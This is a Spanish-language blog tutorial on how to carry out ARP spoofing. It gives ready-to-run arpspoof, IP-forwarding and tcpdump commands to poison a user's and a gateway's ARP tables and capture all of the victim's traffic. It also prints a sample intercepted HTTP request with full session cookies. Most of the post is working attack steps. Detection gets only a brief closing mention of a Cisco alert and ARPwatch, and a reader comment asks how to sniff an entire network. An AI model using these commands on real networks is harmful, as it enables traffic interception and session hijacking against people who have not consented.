systemadmin.es > Redes > Como hacer ARP Spoofing

Como hacer ARP Spoofing

Una de mejores formas de solucionar un problema, es saber cual es y creo que no hay mejor forma de entenderlo que intentar hacerlo. Hoy vamos a ver como hacer ARP Spoofing (también llamado ARP Poisoning).

Esquema inicial

Esquema inicial

Vamos a suponer una red ficticia: 172.16.0.0/12, en la cual el gateway esta en la 172.16.0.1 y existen dos hosts: 172.16.0.2 (el usuario) y 172.16.0.3 (el atacante)

Para simplificar, la MAC de los equipos corresponderá a el último byte de la IP. Por ejemplo, si la IP es 172.16.0.1, asumiremos que si MAC es 00:00:00:00:00:01

Mediante arpspoof podemos realizar el spoofing mediante los siguientes parámetros:

  • -i: interfaz en el que haremos el spoofing
  • -t: El target a quien le vamos a decir nuestra MAC
  • La IP del host que queremos suplantar

Para evitar que se corte el trafico del usuario deberemos activar IP forwarding. Simplemente deberemos hacer un echo al proc:

echo 1 > /proc/sys/net/ipv4/ip_forward

A continuación deberemos envenenar la tabla ARP de tanto el gateway como el usuario para obtener hacer pasar el tráfico por el sistema del atacante en ambas direcciones:

arpspoof -i eth3 -t 172.16.0.2 172.16.0.1
Envenenando la tabla ARP del usuario

Envenenando la tabla ARP del usuario

A continuación hacemos lo mismo (en paralelo) con el gateway:

arpspoof -i eth3 -t 172.10.0.1 172.16.0.2
Envenenando la tabla ARP del gateway

Envenenando la tabla ARP del gateway

Con esto ya podemos hacer un tcpdump en el equipo atacante para capturar todo el tráfico del usuario:

tcpdump -nni eth3 'host 172.16.0.2' -s 0 -w /tmp/all.your.packet.are.belong.to.us
Equipo haciendo ARP Spoofing

Equipo haciendo ARP Spoofing

Un ejemplo de tráfico HTTP que podríamos ver sería:

GET http://www.google.es/search?hl=es&source=hp&q=HOLA&btnG=Buscar+con+Google&meta=&aq=f&oq= HTTP/1.1
Host: www.google.es
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.1.6; Google-TR-5.9.911.3589-es) Gecko/20091201 Firefox/3.5.6
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://www.google.es/
Cookie: SS=Q0=bWFuIG5j; PREF=ID=0d7e92f0a892dcdb:U=a0d7411c93a9da83:TM=1261735618:LM=1261735947:S=usa2aENTuGjs6433; NID=30=E85Pp_GbpOrzO3dZsK8DqZiZ08XdR-C8BuJ3sEFDN5DHuw2TY8ew0a_QE_q8R6XNDEE439iNspdpZUOLexoMb
jHOcepayTpXPMwsxFNgAK951t59ZSaXI0qNxq0xQ0wg; SID=DQAAAIUAAACDMrYRGnoD5BYlPIKfMF1oOgds-T_bIw7Ynjy6wVbkOIDSglRTdglRiVY8VFb44ndsuboemg6oMecz-a8y8bprLcUh0U0Kkij68JSc2aYCyldfKVIZyO518ywtcjTvozNh9v3Vrvf25OwTypC9F9h
4oUWfQnHxY6AGpcPtecNo1f4QvHD3maLGRuh-uE89Ju8; HSID=AX3Vf3Lm0i2yz9st-

En equipos CISCO en este tipo de ataques se generaría una alerta similar a la siguiente:

Dec 31 09:53:10 MET: %SW_MATM-4-MACFLAP_NOTIF: Host 000a.aaac.007f in vlan 10 is flapping between port Gi0/1 and port Gi0/2

Existen diferentes herramientas para detectar este tipo de ataques, siendo el más conocido el ARPwatch.

One comment to “Como hacer ARP Spoofing”

  1. Hola,
    bien explicado para atacar a una máquina en particular.
    Me gustaría filtrar todo el tráfico de la red en lugar de una máquina en especial.

    Por cierto, había una versión más antigua para linux que no necesitaba tanto parámetro. Era algo más sencillo.

    Saludos.-

Deja un comentario:

XHTML - Tags permitidos:<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>